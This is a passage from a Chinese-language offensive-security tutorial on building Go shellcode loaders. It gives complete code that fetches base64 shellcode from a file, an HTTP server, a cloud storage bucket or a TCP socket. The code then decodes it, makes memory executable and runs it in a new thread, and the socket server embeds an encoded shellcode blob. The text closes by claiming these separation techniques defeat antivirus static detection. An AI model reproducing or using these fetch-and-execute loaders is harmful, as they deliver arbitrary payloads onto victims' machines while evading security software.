    content, err := os.ReadFile("/* shellcode路径 */  ")  
    if err != nil {  
       fmt.Println("读取文件出错:", err)  
       return  
    }  
  
    // 将字节切片转换为字符串  
    fileContent := string(content)  
  
    // 解密  
    shellcode, _ := base64.StdEncoding.DecodeString(fileContent)  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

1.3 远程读取shellcode-简单http服务器

可以使用 net/http 包,发生GET请求并读取响应内容

package main  
  
import (  
    "encoding/base64"  
    "fmt"    
    "golang.org/x/sys/windows"    
    "io/ioutil"    
    "net/http"    
    "unsafe")  
  
func main() {  
    
    url := "http://127.0.0.1:8888/shellcode64.txt" // 替换为你想要请求的 URL  
    
    // 发送 GET 请求  
    response, err := http.Get(url)  
    if err != nil {  
       fmt.Println("请求失败:", err)  
       return  
    }  
    defer response.Body.Close() // 确保在函数结束时关闭响应体  
  
    // 检查响应状态码  
    if response.StatusCode != http.StatusOK {  
       fmt.Println("请求失败,状态码:", response.StatusCode)  
       return  
    }  
  
    // 读取响应内容  
    body, err := ioutil.ReadAll(response.Body)  
    if err != nil {  
       fmt.Println("读取响应失败:", err)  
       return  
    }  
  
    // 解密  
    shellcode, _ := base64.StdEncoding.DecodeString(string(body))  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

1.4 远程读取OSS存储桶的文件

不过多介绍,与C++、C# 说过的步骤一样

package main  
  
import (  
    "encoding/base64"  
    "fmt"    
    "golang.org/x/sys/windows"    
    "io/ioutil"    
    "net/http"    
    "unsafe")  
  
func main() {  
  
    url := "/* 请求的 URL */" // 替换为你想要请求的 URL  
    // 发送 GET 请求  
    response, err := http.Get(url)  
    if err != nil {  
       fmt.Println("请求失败:", err)  
       return  
    }  
    defer response.Body.Close() // 确保在函数结束时关闭响应体  
  
    // 检查响应状态码  
    if response.StatusCode != http.StatusOK {  
       fmt.Println("请求失败,状态码:", response.StatusCode)  
       return  
    }  
  
    // 读取响应内容  
    body, err := ioutil.ReadAll(response.Body)  
    if err != nil {  
       fmt.Println("读取响应失败:", err)  
       return  
    }  
  
    // 解密  
    shellcode, _ := base64.StdEncoding.DecodeString(string(body))  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

1.5 socket传输shellcode

go拥有强大的网络编程包 net ,可以轻松实现socket编程,且跨平台,与C++令人难受的网络编程形成鲜明对比。

服务器

package main  
  
import (  
    "fmt"  
    "net")  
  
func main() {  
    // 监听指定端口  
    listener, err := net.Listen("tcp", ":8080")  
    if err != nil {  
       fmt.Println("错误:", err)  
       return  
    }  
    defer listener.Close()  
    fmt.Println("服务器已启动,等待连接...")  
  
    for {  
       // 接受客户端连接  
       conn, err := listener.Accept()  
       if err != nil {  
          fmt.Println("连接错误:", err)  
          continue  
       }  
       fmt.Println("客户端已连接:", conn.RemoteAddr())  
  
       // 启动一个 goroutine 处理客户端连接  
       go handleConnection(conn)  
    }  
}  
  
// 处理客户端连接  
func handleConnection(conn net.Conn) {  
    defer conn.Close()  
  
    // 发送回执给客户端,即发生加密后的shellcode  
    message := "UFFSU1ZXVWpgWmhjYWxjVFlIg+woZUiLMkiLdhhIi3YQSK1IizBIi34wA1c8i1wXKIt0HyBIAf6LVB8kD7csF41SAq2BPAdXaW5Fde+LdB8cSAH+izSuSAH3mf/XSIPEMF1fXltaWVjD\n"  
    _, err := conn.Write([]byte(message))  
    if err != nil {  
       fmt.Println("发送错误:", err)  
       return  
    }  
    fmt.Println("已发送消息:", message)  
}

客户端

package main  
  
import (  
    "bufio"  
    "encoding/base64"    
    "fmt"    
    "golang.org/x/sys/windows"    
    "net"    
    "unsafe")  
  
func main() {  
    // 连接到服务器  
    conn, err := net.Dial("tcp", "localhost:8080")  
    if err != nil {  
       fmt.Println("连接错误:", err)  
       return  
    }  
    defer conn.Close()  
    fmt.Println("已连接到服务器")  
  
    // 读取服务器的回执  
    response, err := bufio.NewReader(conn).ReadString('\n')  
    if err != nil {  
       fmt.Println("读取错误:", err)  
    }  
  
    shellcode, _ := base64.StdEncoding.DecodeString(response)  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
  
    return  
}

至此,常见的shellcode分离的方式已经介绍完了,当然还有一些方法我未提及,比如说将shellcode隐写到图片里,虽然隐蔽性很强,代码弄起来挺麻烦的。使用我在本节提到的方法足以应付杀软的静态查杀了,使用更高级的分离技术达到的效果与我介绍的方法并没有太大的区别,还会使得代码量大幅提升,有点得不偿失。